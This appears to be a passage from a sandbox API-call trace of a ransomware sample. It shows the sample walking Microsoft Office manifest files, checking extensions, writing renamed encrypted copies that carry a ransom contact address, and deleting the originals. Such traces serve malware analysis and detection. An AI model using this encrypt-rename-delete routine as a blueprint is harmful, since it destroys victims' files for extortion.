	[0067.029] SetEndOfFile (hFile=0x338) returned 1
	[0067.030] CloseHandle (hObject=0x338) returned 1
	[0067.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.031] lstrlenW (lpString=".doc") returned 4
	[0067.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString=".docx") returned 5
	[0067.031] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.031] lstrlenW (lpString=".pdf") returned 4
	[0067.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString=".xls") returned 4
	[0067.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString=".xlsx") returned 5
	[0067.031] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.031] lstrlenW (lpString=".ppt") returned 4
	[0067.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.031] lstrlenW (lpString=".zip") returned 4
	[0067.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.031] lstrlenW (lpString=".rar") returned 4
	[0067.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString=".bz2") returned 4
	[0067.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString=".7z") returned 3
	[0067.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.031] lstrlenW (lpString=".dbf") returned 4
	[0067.032] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.032] lstrlenW (lpString=".1cd") returned 4
	[0067.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.032] lstrlenW (lpString=".jpg") returned 4
	[0067.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.032] lstrlenW (lpString=".doc") returned 4
	[0067.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString=".docx") returned 5
	[0067.032] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.032] lstrlenW (lpString=".pdf") returned 4
	[0067.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString=".xls") returned 4
	[0067.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString=".xlsx") returned 5
	[0067.032] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.032] lstrlenW (lpString=".ppt") returned 4
	[0067.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.032] lstrlenW (lpString=".zip") returned 4
	[0067.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.032] lstrlenW (lpString=".rar") returned 4
	[0067.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.032] lstrlenW (lpString=".bz2") returned 4
	[0067.032] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.033] lstrlenW (lpString=".7z") returned 3
	[0067.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.033] lstrlenW (lpString=".dbf") returned 4
	[0067.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.033] lstrlenW (lpString=".1cd") returned 4
	[0067.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0067.033] lstrlenW (lpString=".jpg") returned 4
	[0067.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.033] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.033] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53
	[0067.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0067.033] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1124942) returned 1
	[0067.034] CloseHandle (hObject=0x338) returned 1
	[0067.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0067.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0067.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0067.034] GetLastError () returned 0x0
	[0067.034] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0067.075] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0067.611] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x12a5e, lpOverlapped=0x0) returned 1
	[0067.620] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x12a60, lpOverlapped=0x0) returned 1
	[0067.625] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.625] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.625] SetEndOfFile (hFile=0x364) returned 1
	[0067.625] CloseHandle (hObject=0x364) returned 1
	[0068.133] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.133] SetEndOfFile (hFile=0x338) returned 1
	[0068.134] CloseHandle (hObject=0x338) returned 1
	[0068.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.135] lstrlenW (lpString=".doc") returned 4
	[0068.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.135] lstrlenW (lpString=".docx") returned 5
	[0068.135] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.135] lstrlenW (lpString=".pdf") returned 4
	[0068.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.135] lstrlenW (lpString=".xls") returned 4
	[0068.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.135] lstrlenW (lpString=".xlsx") returned 5
	[0068.135] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.135] lstrlenW (lpString=".ppt") returned 4
	[0068.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString=".zip") returned 4
	[0068.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.136] lstrlenW (lpString=".rar") returned 4
	[0068.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString=".bz2") returned 4
	[0068.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString=".7z") returned 3
	[0068.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString=".dbf") returned 4
	[0068.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString=".1cd") returned 4
	[0068.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString=".jpg") returned 4
	[0068.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.136] lstrlenW (lpString=".doc") returned 4
	[0068.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString=".docx") returned 5
	[0068.136] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.136] lstrlenW (lpString=".pdf") returned 4
	[0068.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.136] lstrlenW (lpString=".xls") returned 4
	[0068.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString=".xlsx") returned 5
	[0068.137] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.137] lstrlenW (lpString=".ppt") returned 4
	[0068.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.137] lstrlenW (lpString=".zip") returned 4
	[0068.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.137] lstrlenW (lpString=".rar") returned 4
	[0068.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString=".bz2") returned 4
	[0068.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString=".7z") returned 3
	[0068.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.137] lstrlenW (lpString=".dbf") returned 4
	[0068.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.137] lstrlenW (lpString=".1cd") returned 4
	[0068.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0068.137] lstrlenW (lpString=".jpg") returned 4
	[0068.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.137] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.137] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53
	[0068.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.138] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.138] CloseHandle (hObject=0x338) returned 1
	[0068.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.138] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.138] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.138] GetLastError () returned 0x0
	[0068.138] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.236] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.240] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.240] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.240] SetEndOfFile (hFile=0x364) returned 1
	[0068.240] CloseHandle (hObject=0x364) returned 1
	[0068.241] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.241] SetEndOfFile (hFile=0x338) returned 1
	[0068.242] CloseHandle (hObject=0x338) returned 1
	[0068.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.242] lstrlenW (lpString=".doc") returned 4
	[0068.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.242] lstrlenW (lpString=".docx") returned 5
	[0068.242] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.243] lstrlenW (lpString=".pdf") returned 4
	[0068.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString=".xls") returned 4
	[0068.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString=".xlsx") returned 5
	[0068.243] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.243] lstrlenW (lpString=".ppt") returned 4
	[0068.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString=".zip") returned 4
	[0068.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.243] lstrlenW (lpString=".rar") returned 4
	[0068.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString=".bz2") returned 4
	[0068.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString=".7z") returned 3
	[0068.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString=".dbf") returned 4
	[0068.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString=".1cd") returned 4
	[0068.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString=".jpg") returned 4
	[0068.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.243] lstrlenW (lpString=".doc") returned 4
	[0068.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.243] lstrlenW (lpString=".docx") returned 5
	[0068.243] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.244] lstrlenW (lpString=".pdf") returned 4
	[0068.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString=".xls") returned 4
	[0068.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString=".xlsx") returned 5
	[0068.244] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.244] lstrlenW (lpString=".ppt") returned 4
	[0068.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.244] lstrlenW (lpString=".zip") returned 4
	[0068.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.244] lstrlenW (lpString=".rar") returned 4
	[0068.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString=".bz2") returned 4
	[0068.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString=".7z") returned 3
	[0068.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.244] lstrlenW (lpString=".dbf") returned 4
	[0068.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.244] lstrlenW (lpString=".1cd") returned 4
	[0068.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0068.244] lstrlenW (lpString=".jpg") returned 4
	[0068.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.244] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.244] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53
	[0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.245] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.245] CloseHandle (hObject=0x338) returned 1
	[0068.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
